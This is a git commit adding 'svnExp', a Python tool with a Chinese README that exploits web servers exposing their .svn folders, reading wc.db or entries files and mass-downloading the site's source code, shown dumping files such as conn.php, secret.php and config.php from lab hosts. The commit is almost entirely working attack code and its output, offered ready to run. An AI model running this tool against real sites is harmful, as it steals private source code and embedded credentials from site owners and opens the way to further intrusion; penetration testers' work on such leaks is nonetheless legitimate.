add svn 源代码泄露利用工具

This commit is contained in:
helloexp 2022-03-01 13:23:44 +08:00
parent 58bc55e0fe
commit bceeaa5e02
5 changed files with 456 additions and 0 deletions

View File

@ -0,0 +1,301 @@
#coding=utf-8
import requests,threading
import sqlite3,os,re,sys,optparse
from prettytable import PrettyTable
"""
第三方库requests,prettytable
* 全局变量定义区
"""
header={'accept':'text/html,application/xhtml+xml,application/xml',
'user-agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Mobile Safari/537.36',
'referer':'http://baidu.com'}
table_dump = ''
if sys.version_info < (3, 0): # 兼容py2和py3
import Queue as queue
else:
import queue
download_queue = queue.Queue()
# 下载wc.db
def download_db(url):
db_url = url+"wc.db"
# 判断存放数据库的目录是否存在
if(not os.path.exists('dbs')):
os.makedirs('dbs')
#匹配url中的host然后作为文件夹名
pattern = re.compile(r'(?:\w+\.+)+(?:\w+)')
host = pattern.findall(url)
# 判断host 这个目录是否存在,如果存在的话就创建 host(i) i 递增
if(not os.path.exists("dbs/"+host[0])):
os.makedirs("dbs/"+host[0])
path = "dbs/"+host[0]
else:
i = 1
while (os.path.exists("dbs/"+host[0]+"("+str(i)+")")):
i = i+1
os.makedirs("dbs/"+host[0]+"("+str(i)+")")
path = "dbs/"+host[0]+"("+str(i)+")"
# 组成最终地址
db_path = path+"/wc.db"
# 下载数据库
res = requests.get(db_url,headers=header)
if res.status_code!=200:
print("[-] 未找到%s/wc.db"%url)
sys.exit()
with open(db_path,"wb") as file:
file.write(res.content)
return db_path
# 连接数据库,查询数据库 然后把 local_relpath \ kind \ checksum 取出来
def db_conn(db_path):
try:
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute("select local_relpath,kind,checksum from NODES")
values = cursor.fetchall()
return values
except:
print("[-] wc.db连接失败!")
def print_values(values):
#print("[+] 文件名 | 文件类型 | checksum")
table = PrettyTable(["文件名","文件类型","CheckSum"])
for v in values:
if v[0] :
#print("[+] %s %s %s" %(v[0],v[1],v[2]))
table.add_row([v[0],v[1],v[2]])
table.sort_key("CheckSum")
table.reversesort = True
print(table)
# 用queue存放values中的记录供下载源码使用
def gen_queue(values):
global download_queue
for v in values:
if v[0]:
download_queue.put(v)
def down_file(url,db_path):
# 获取下载后保存的本地地址
path = os.path.dirname(db_path) # dbs/127.0.0.1
while not download_queue.empty(): # 如果queue不为空
value = download_queue.get()
#print(value)
#sys.exit()
if value[1]=="dir":
if not os.path.exists(path +"/"+ value[0]):
try:
os.makedirs(path +"/"+ value[0])
except:
pass
else:
# 如果checksum == None 说明文件已经被删除
if value[2] == None:
continue
# 处理checksum
checksum = value[2][6:]
url_file = url+"pristine/"+checksum[:2]+"/"+checksum+".svn-base"
file_uri = ".svn/pristine/"+checksum[:2]+"/"+checksum+".svn-base"
#print(url_file)
# 下载代码
global table_dump
try:
res = requests.get(url_file,headers=header)
except:
#print("[-] 下载%s失败!" %url_file)
table_dump.add_row([value[0],file_uri,'下载失败'])
continue
if not os.path.exists(os.path.dirname(path+"/"+value[0])):
try:
os.makedirs(os.path.dirname(path+"/"+value[0]))
except:
pass
with open(path+"/"+value[0],"wb") as file :
file.write(res.content)
#global table_dump
table_dump.add_row([value[0], file_uri, '下载成功'])
download_queue.task_done() # 通知队列已消费完该任务
def banner():
print(""" ____ _____ _ _ _
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
SvnExploit - Dump the source code by svn
""")
def svnMoreThan1_7(url,isdump):
# svn > 1.7
db_path = download_db(url)
values = db_conn(db_path)
# 判断是否要dump
if not isdump:
print_values(values)
else:
global table_dump
global download_queue
table_dump = PrettyTable(['文件名','URL','下载状态'])
print_values(values)
gen_queue(values)
threads = []
for i in range(options.thread_num):
thread = threading.Thread(target=down_file, args=(url, db_path,))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
print("[+] 已经Dump完成!")
def SvnVersion(url):
# if SVN version > 1.7 return True ,else return false
url = url + 'entries'
res = requests.get(url,headers=header)
#print(res.text)
if b'12\n' == res.content:
return True
else:
return False
class SvnLessThan1_7:
def __init__(self,url):
self.url = url
# http://192.168.1.128/.svn/
self.file_list = []
self.dir_list = []
self.flag = False
#print(url)
# 解析entries
def entries(self,url,dir):
#print(1)
res = requests.get(url,headers=header)
list = res.text.split('\n')
i = 0
for data in list:
if data == "file":
if list[i-1]:
if dir:
self.file_list.append(dir+'/'+list[i-1])
else:
self.file_list.append(list[i - 1])
#print(dir+list[i-1])
elif data == "dir":
if list[i-1]:
if dir:
self.dir_list.append(dir+'/'+list[i-1])
else:
self.dir_list.append(list[i-1])
self.flag = True
i = i+1
# 循环解析entries
def forloop(self):
for dir in self.dir_list:
#print(os.path.dirname(os.path.dirname(self.url))+dir+'.svn/entries')
self.entries(os.path.dirname(os.path.dirname(self.url))+'/'+dir+'/.svn/entries',dir)
# print file
def print_file(self):
#print(1)
self.entries(self.url+'entries','')
if self.flag:
self.forloop()
table = PrettyTable(['文件名','文件类型','URL'])
for name in self.file_list:
#print(name)
table.add_row([name,'file',
os.path.dirname(name)+'/.svn/text-base/'+os.path.basename(name)+'.svn-base'
])
table.sort_key("URL")
table.reversesort = True
print(table)
def dumpFile(self):
if (not os.path.exists('dbs')):
os.makedirs('dbs')
# 匹配url中的host然后作为文件夹名
pattern = re.compile(r'(?:\w+\.+)+(?:\w+)')
host = pattern.findall(self.url)
# 判断host 这个目录是否存在,如果存在的话就创建 host(i) i 递增
if (not os.path.exists("dbs/" + host[0])):
os.makedirs("dbs/" + host[0])
path = "dbs/" + host[0]
else:
i = 1
while (os.path.exists("dbs/" + host[0] + "(" + str(i) + ")")):
i = i + 1
os.makedirs("dbs/" + host[0] + "(" + str(i) + ")")
path = "dbs/" + host[0] + "(" + str(i) + ")"
self.entries(self.url+'entries','')
self.forloop()
#print(self.dir_list)
for dir in self.dir_list:
#print(path+dir)
if not os.path.exists(path+'/'+dir):
os.makedirs(path+'/'+dir)
table = PrettyTable(['文件名','URL','下载状态'])
for file in self.file_list:
if os.path.dirname(file):
file_url =os.path.dirname(os.path.dirname(self.url))+'/'+os.path.dirname(file)+'/.svn/text-base/'+os.path.basename(file)+'.svn-base'
else:
file_url = os.path.dirname(os.path.dirname(self.url)) + os.path.dirname(
file) + '/.svn/text-base/' + os.path.basename(file) + '.svn-base'
res = requests.get(file_url,headers=header)
with open(path+'/'+file,'wb') as f:
f.write(res.content)
table.add_row([file,
os.path.dirname(file)+'/.svn/text-base/'+os.path.basename(file)+'.svn-base',
'下载成功'
])
table.sort_key('URL')
table.reversesort=True
print(table)
def svnLessThan1_7(url,isdump):
svn = SvnLessThan1_7(url)
#print(1)
if not isdump:
svn.print_file()
else:
svn.dumpFile()
if __name__ == '__main__':
"""
命令行参数
svnExp.py -u TargetURL [--dump --thread 5]
"""
opt = optparse.OptionParser()
opt.add_option("-u","--url",action="store",dest="url",help="TargetURL e.g.http://url/.svn")
opt.add_option("--thread",action="store",dest="thread_num",type="int",default=5,
help="The thread num default is 5")
opt.add_option("--dump",action="store_true",dest="dump",
help = "Dump file")
(options, args) = opt.parse_args()
if len(sys.argv) <2 :
banner()
print("example: SvnExploit.py -u http://192.168.27.128/.svn --dump")
sys.exit()
banner()
if not options.url:
print("[-] URL Error!")
url = options.url
# 在拿到url后判断后面是否有/ 如果没有就加上
re_ = re.compile(r'[\w\.\/\:]+/$')
if not re_.search(url):
url = url+"/"
# Get the svn version
Sversion = SvnVersion(url)
if Sversion:
svnMoreThan1_7(url,options.dump)
else:
svnLessThan1_7(url,options.dump)

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

View File

@ -0,0 +1,153 @@
# SVN 源代码泄露利用工具
>SvnExp是一款SVN源代码利用工具其完美支持SVN<1.7版本和SVN>1.7版本的SVN源代码泄露更多请阅读
## Useage
安装依赖库
```
sudo pip install -r requirements.txt
```
查看帮助
```
python svnExp.py -h
```
检测SVN源代码泄露
```
python svnExp.py -u http://192.168.27.128/.svn
```
下载源代码
```
python svnExp.py -u http://192.168.27.128/.svn --dump
```
## Example
### svn > 1.7版本
![svn >1.7](images/svnGR1.7.png)
```
python .\svnExp.py -u http://192.168.27.128/unit-2/lab3/.svn/
____ _____ _ _ _
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
svnExp - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExp
+--------------------+----------+------------------------------------------------+
| 文件名 | 文件类型 | CheckSum |
+--------------------+----------+------------------------------------------------+
| conn.php | file | $sha1$8f47ccbd4a436aa4f31018fea026275f6059ed10 |
| trunk | dir | None |
| branches | dir | None |
| admin_login.php | file | $sha1$a6981b1ca963c8a75e133e38780be7ff0cd60952 |
| phpmyadmin | file | $sha1$6d5af41c175e344ee483732648edc9318b2a6014 |
| README.TXT | file | $sha1$c5981462cc06422f4a78e68f0a48dddcf5860eb9 |
| README.txt | file | $sha1$ef4b5f3081dbac31f9fb089aafd60dd2b9474b51 |
| secret.php | file | $sha1$2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609 |
| README.md | file | $sha1$466f5ab1e4adfd373a23f639e0dd8fcfdce7874b |
| img/login_bg01.jpg | file | $sha1$311efc58c4d7035a54fdb8e94d6ba901c56354fd |
| img | dir | None |
| index.php | file | $sha1$4660847a73ab0906d91841dde9576bd5054b2020 |
| test.sql | file | $sha1$096a90da3e471a472874413b18cb2f5dd0567fd1 |
| admin.php | file | $sha1$f444d3aad996577872ac7b95a2c05aa11e6b1f8f |
| document | dir | None |
| tags | dir | None |
+--------------------+----------+------------------------------------------------+
```
```
python .\svnExp.py -u http://192.168.27.128/unit-2/lab3/.svn/ --dump
____ _____ _ _ _
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
svnExp - Dump the source code by svn
+--------------------+--------------------------------------------------------------------+----------+
| 文件名 | URL | 下载状态 |
+--------------------+--------------------------------------------------------------------+----------+
| conn.php | .svn/pristine/8f/8f47ccbd4a436aa4f31018fea026275f6059ed10.svn-base | 下载成功 |
| README.TXT | .svn/pristine/c5/c5981462cc06422f4a78e68f0a48dddcf5860eb9.svn-base | 下载成功 |
| README.txt | .svn/pristine/ef/ef4b5f3081dbac31f9fb089aafd60dd2b9474b51.svn-base | 下载成功 |
| phpmyadmin | .svn/pristine/6d/6d5af41c175e344ee483732648edc9318b2a6014.svn-base | 下载成功 |
| secret.php | .svn/pristine/2e/2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609.svn-base | 下载成功 |
| README.md | .svn/pristine/46/466f5ab1e4adfd373a23f639e0dd8fcfdce7874b.svn-base | 下载成功 |
| admin_login.php | .svn/pristine/a6/a6981b1ca963c8a75e133e38780be7ff0cd60952.svn-base | 下载成功 |
| index.php | .svn/pristine/46/4660847a73ab0906d91841dde9576bd5054b2020.svn-base | 下载成功 |
| admin.php | .svn/pristine/f4/f444d3aad996577872ac7b95a2c05aa11e6b1f8f.svn-base | 下载成功 |
| test.sql | .svn/pristine/09/096a90da3e471a472874413b18cb2f5dd0567fd1.svn-base | 下载成功 |
| img/login_bg01.jpg | .svn/pristine/31/311efc58c4d7035a54fdb8e94d6ba901c56354fd.svn-base | 下载成功 |
+--------------------+--------------------------------------------------------------------+----------+
[+] 已经Dump完成!
```
## svn < 1.7版本
![svn<1.7](images/svnLE1.7.png)
```
python .\svnExp.py -u http://192.168.27.128/unit-2/lab2/.svn/
____ _____ _ _ _
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
svnExp - Dump the source code by svn
+---------------------+----------+---------------------------------------------+
| 文件名 | 文件类型 | URL |
+---------------------+----------+---------------------------------------------+
| favicon.ico | file | /.svn/text-base/favicon.ico.svn-base |
| index.html | file | /.svn/text-base/index.html.svn-base |
| phpinfo.php | file | /.svn/text-base/phpinfo.php.svn-base |
| shell.php | file | /.svn/text-base/shell.php.svn-base |
| config/config.php | file | config/.svn/text-base/config.php.svn-base |
| css/add.css | file | css/.svn/text-base/add.css.svn-base |
| css/colorbox.css | file | css/.svn/text-base/colorbox.css.svn-base |
| css/company.css | file | css/.svn/text-base/company.css.svn-base |
| images/btn_back.png | file | images/.svn/text-base/btn_back.png.svn-base |
| images/gitf.png | file | images/.svn/text-base/gitf.png.svn-base |
| js/common.js | file | js/.svn/text-base/common.js.svn-base |
| js/jquery.min.js | file | js/.svn/text-base/jquery.min.js.svn-base |
| js/loop.js | file | js/.svn/text-base/loop.js.svn-base |
+---------------------+----------+---------------------------------------------+
```
```
python .\svnExp.py -u http://192.168.27.128/unit-2/lab2/.svn/ --dump
____ _____ _ _ _
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
svnExp - Dump the source code by svn
+---------------------+---------------------------------------------+----------+
| 文件名 | URL | 下载状态 |
+---------------------+---------------------------------------------+----------+
| favicon.ico | /.svn/text-base/favicon.ico.svn-base | 下载成功 |
| index.html | /.svn/text-base/index.html.svn-base | 下载成功 |
| phpinfo.php | /.svn/text-base/phpinfo.php.svn-base | 下载成功 |
| shell.php | /.svn/text-base/shell.php.svn-base | 下载成功 |
| config/config.php | config/.svn/text-base/config.php.svn-base | 下载成功 |
| css/add.css | css/.svn/text-base/add.css.svn-base | 下载成功 |
| css/colorbox.css | css/.svn/text-base/colorbox.css.svn-base | 下载成功 |
| css/company.css | css/.svn/text-base/company.css.svn-base | 下载成功 |
| images/btn_back.png | images/.svn/text-base/btn_back.png.svn-base | 下载成功 |
| images/gitf.png | images/.svn/text-base/gitf.png.svn-base | 下载成功 |
| js/common.js | js/.svn/text-base/common.js.svn-base | 下载成功 |
| js/jquery.min.js | js/.svn/text-base/jquery.min.js.svn-base | 下载成功 |
| js/loop.js | js/.svn/text-base/loop.js.svn-base | 下载成功 |
+---------------------+---------------------------------------------+----------+
```

View File

@ -0,0 +1,2 @@
requests
prettytable